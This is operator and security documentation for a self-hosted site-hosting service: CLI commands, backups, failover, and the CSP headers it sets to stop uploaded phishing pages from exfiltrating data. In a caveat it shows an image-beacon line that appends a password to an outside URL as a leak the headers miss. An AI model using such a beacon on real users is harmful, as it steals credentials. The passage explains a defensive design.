Operations & security
Day-two life with a Sitebin instance: the operator CLI, backups, health, and what you should know before hosting strangers' content on the public internet.
Operator commands
All operator commands run inside the container, e.g.
docker exec sitebin sitebin <cmd>:
| Command | Purpose |
|---|---|
sitebin list | List all sites (id, size, files, mode, created, owner/domains). |
sitebin reports | List filed abuse reports. |
sitebin delete <id|domain> | Take down a site by view id, edit id, or domain. |
sitebin backup [file] | Write a gzip tar of /data (stdout if no file). |
sitebin restore <file> | Restore /data from a backup. |
sitebin caddyfile | Print the generated Caddyfile. |
sitebin healthcheck | Probe the internal health endpoint. |
Backup
The /data volume is everything — sites, indexes, and
certificates. Back up that path and you have backed up the whole
instance. Alternatively, sitebin backup streams a snapshot:
docker exec sitebin sitebin backup - > sitebin-$(date +%F).tar.gz
Restore a snapshot with sitebin restore <file>.
Health, freeze, and logs
- Health: the image ships a
HEALTHCHECK, sodocker psshows the instance's health out of the box. - Freeze:
SITEBIN_READONLY=truedisables new-site creation — existing sites keep serving. - Logs: structured request + lifecycle logs on stdout
(
docker logs).
Availability & failover
Sitebin is a single-writer system: writes are
serialized by in-process locks, so exactly one instance
may run against a given /data at any time.
Everything else about the design makes failover easy: the container is
disposable and /data is the entire instance — sites,
indexes, accounts, certificates, and the .secret that keeps
sessions valid across a move.
Baseline: restore to a fresh server
With streaming backups and a low DNS TTL, this alone gives minutes-level recovery — and it's the plan every deployment should have and test:
# continuously (cron) on the primary: docker exec sitebin sitebin backup - | ssh backup-host 'cat > sitebin-latest.tar.gz' # disaster: on any fresh server with Docker docker run -d --name sitebin -v sitebin-data:/data … sitebin:latest # same env as before cat sitebin-latest.tar.gz | docker exec -i sitebin sitebin restore /dev/stdin docker restart sitebin # point DNS (base domain, wildcard, custom domains) at the new server; # certificates re-issue automatically if missing.
Keep the compose/env file in version control — server + compose file + backup is the complete instance.
Active–passive standby
When minutes of downtime are too many: replicate the volume
block-level to a second server — DRBD (synchronous, RPO ≈ 0) or ZFS
send/recv on a tight interval — with the container
stopped on the standby. On failure, promote the replica, start
the container, and move the floating IP (or flip low-TTL DNS). The one
inviolable rule is the single-writer rule: make sure the old primary is
down (fencing) before the standby starts.
Read replicas (one writer, many readers for view traffic) are architecturally feasible and on the enterprise roadmap, but not implemented today.
Security notes
- User content is only served on random subdomains and custom domains — never on the main domain. Each site gets its own origin.
- Passwords are stored as Argon2id hashes; password attempts (API, gate, and WebDAV) are rate limited per IP and per site.
- Uploads are sanitized against path traversal; symlinks in zips are rejected; per-site size/count quotas are enforced during streaming.
- The authz/tls-check/health endpoints live on a separate listener that is never proxied publicly.
SITEBIN_MAX_* limits and SITEBIN_MAX_EXPIRY_DAYS,
and put the instance behind abuse monitoring if it is exposed to
strangers.Anyone can flag a site through the public abuse-report endpoint
(POST /api/report, no auth required); filed reports show up
in sitebin reports.
Content security headers
Sitebin serves HTML that strangers uploaded, so it sets response headers on every site it serves. There are two levels, and which one a site gets depends on whether the plan behind it is one you can hold accountable.
Every site, both editions — hygiene that breaks nothing:
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=(),
payment=(), usb=(), midi=()
Content-Security-Policy: object-src 'none'; base-uri 'self'
Untrusted content — anonymous drops, and sites on any
tier not marked "trusted" — gets the exfiltration blocks
folded in:
Content-Security-Policy: object-src 'none'; base-uri 'self';
form-action 'none'; connect-src 'self';
frame-ancestors 'none'; frame-src 'none';
report-uri /_sitebin/csp-report; report-to csp
Referrer-Policy: no-referrer
The aim is narrow and deliberate: stop the exfiltration, not
the rendering. Scripts and images still load from anywhere,
because blocking them would equally break every legitimate page that
pulls a library from a CDN. What a phishing kit loses is the ability to
ship what it captures: form-action 'none' kills
the credential POST, and connect-src 'self' kills
fetch, XHR, sendBeacon and
WebSockets. Those are two separate directives because
connect-src does not cover form submissions — omitting
form-action would leave the oldest trick in the book wide
open.
An uploaded page cannot loosen any of this. A <meta>
policy of its own can only narrow what the header already set.
new Image().src = "https://…/?p=" + password) and
top-level navigation still leak. CSP has no answer for the second at
all — the navigate-to directive was dropped from the
standard and is implemented nowhere. Closing it would mean
sandbox, which also breaks every external link. Treat these
headers as raising the cost of the common kit and making the attempt
visible, not as a guarantee.Trusted tiers
A tier in tiers.json may set "trusted": true.
Sites owned on it skip the strict layer — useful when the plan's holders
are identifiable and their apps legitimately call an API on another
domain. An anonymous site never qualifies, whatever its tier says. The
community edition registers no account extension, so every site there is
trusted and the strict layer never applies.
The decision is stored per site as a marker file, and the matcher keys on its absence: a site whose marker is missing is served more strictly, never less. A security control has to fail on the safe side.
Violation reports as an abuse signal
Untrusted sites report violations to /_sitebin/csp-report.
Sitebin counts them per site and keeps the distinct destinations that
were blocked, capped and flushed on a timer so a hostile page cannot
turn the endpoint into a write amplifier. A site whose first visitor
trips form-action against a foreign host is almost always
phishing — the counts and destinations show up in the instance register
at /account/admin, with a filter, next to the delete
button.
Separating user content from the app
Browsers draw most of their boundaries at the registrable
domain, not the origin. If user sites live under the same registrable
domain as the dashboard, an uploaded page can write cookies upward onto
the app, SameSite treats navigations between them as
same-site, and a phishing takedown against one site can put the app's
own domain at risk. Set SITEBIN_VIEW_DOMAIN to a separate
registrable domain and list that domain in the
Public Suffix
List. The hosted service does exactly this: the app is on
app.sitebin.io, user sites are on
sitebin.app.